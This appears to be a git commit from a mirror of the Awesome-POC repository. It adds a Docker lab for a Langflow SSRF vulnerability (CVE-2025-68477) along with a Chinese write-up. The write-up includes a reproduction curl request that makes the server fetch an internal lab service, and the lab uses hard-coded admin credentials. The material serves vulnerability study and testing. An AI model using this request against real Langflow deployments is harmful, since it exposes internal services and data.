mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 17:04:28 +00:00
update
This commit is contained in:
1 parent
2cdaaed287
commit
c98256c402
8 files changed
+112
No files matched your search
@@ -0,0 +1,25 @@
|
||||
networks:
|
||||
ssrf-net:
|
||||
driver: bridge
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 172.18.0.0/16
|
||||
|
||||
services:
|
||||
langflow:
|
||||
build: ./langflow
|
||||
container_name: langflow
|
||||
ports:
|
||||
- "7860:7860"
|
||||
networks:
|
||||
ssrf-net:
|
||||
ipv4_address: 172.18.0.2
|
||||
|
||||
internal-api:
|
||||
build: ./internal-api
|
||||
container_name: internal-api
|
||||
expose:
|
||||
- "8000"
|
||||
networks:
|
||||
ssrf-net:
|
||||
ipv4_address: 172.18.0.3
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM python:3.11-slim
|
||||
|
||||
WORKDIR /app
|
||||
RUN pip install flask
|
||||
|
||||
COPY app.py .
|
||||
|
||||
CMD ["python", "app.py"]
|
||||
@@ -0,0 +1,9 @@
|
||||
from flask import Flask, jsonify
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.get("/internal")
|
||||
def internal_root():
|
||||
return jsonify({"message":"ssrf ok !!"}), 200
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run(host="0.0.0.0",port=8000)
|
||||
@@ -0,0 +1,21 @@
|
||||
FROM python:3.12-slim
|
||||
|
||||
LABEL maintainer="threekiii <[email protected]>"
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
RUN set -ex \
|
||||
&& pip install --no-cache-dir uv \
|
||||
&& uv venv \
|
||||
&& uv pip install --no-cache-dir langflow==1.6.9
|
||||
|
||||
ENV LANGFLOW_HOST=0.0.0.0 \
|
||||
LANGFLOW_PORT=7860 \
|
||||
LANGFLOW_AUTO_LOGIN=false \
|
||||
LANGFLOW_SUPERUSER=administrator \
|
||||
LANGFLOW_SUPERUSER_PASSWORD=Passw0rd1@3 \
|
||||
DO_NOT_TRACK=true
|
||||
|
||||
EXPOSE 7860
|
||||
|
||||
CMD ["uv", "run", "langflow", "run", "--host", "0.0.0.0", "--port", "7860"]
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,49 @@
|
||||
# Langflow 服务器端请求伪造漏洞 CVE-2025-68477
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Langflow 的 API Request 组件在接收用户输入(来自工作流配置或运行时参数)的 URL 后,仅进行格式校验与协议标准化,而未对目标地址实施任何网络边界检查(如阻止对本地回环地址 127.0.0.1、私有 IP 段 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16 或云元数据地址 169.254.169.254 的访问)。由于执行工作流的接口仅需有效的 API 密钥即可调用,因此攻击者可通过构造包含恶意 URL 的工作流参数,使服务器端的 httpx 客户端代理其发起请求,并将完整的响应内容(包括响应体)返回给攻击者,从而实现非盲的服务器端请求伪造,导致信息泄露。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
Langflow < 1.7.1
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
参考 [环境配置](https://github.com/Threekiii/Awesome-POC/) ,启动一个 Langflow 1.6.9-ssrf 服务:
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
服务启动后,访问 `https://your-ip:7860` 即可查看到 Langflow 主页,通过账号密码 `administrator/Passw0rd1@3` 登录后台。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
```
|
||||
curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/af515f8c-9324-465e-b8d1-df47633a5eda' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'x-api-key: sk-2VQ_XsHPY2KIpXxGBmnNYFbANjgs0yTL6DV0TIWyjn4' \
|
||||
--data-raw '{
|
||||
"inputs":[
|
||||
{
|
||||
"components":["Chat Input"],
|
||||
"input_value":"test"
|
||||
}
|
||||
],
|
||||
"outputs":["Chat Output"],
|
||||
"tweaks":{
|
||||
"API Request":{
|
||||
"url_input":"http://172.18.0.3:8000/internal",
|
||||
"include_httpx_metadata":false
|
||||
}
|
||||
},
|
||||
"stream":false
|
||||
}' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n"; "") | sub("\\n```$"; "") | fromjson | .result'
|
||||
```
|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
## 漏洞修复
|
||||
Reference in new issue
Block a user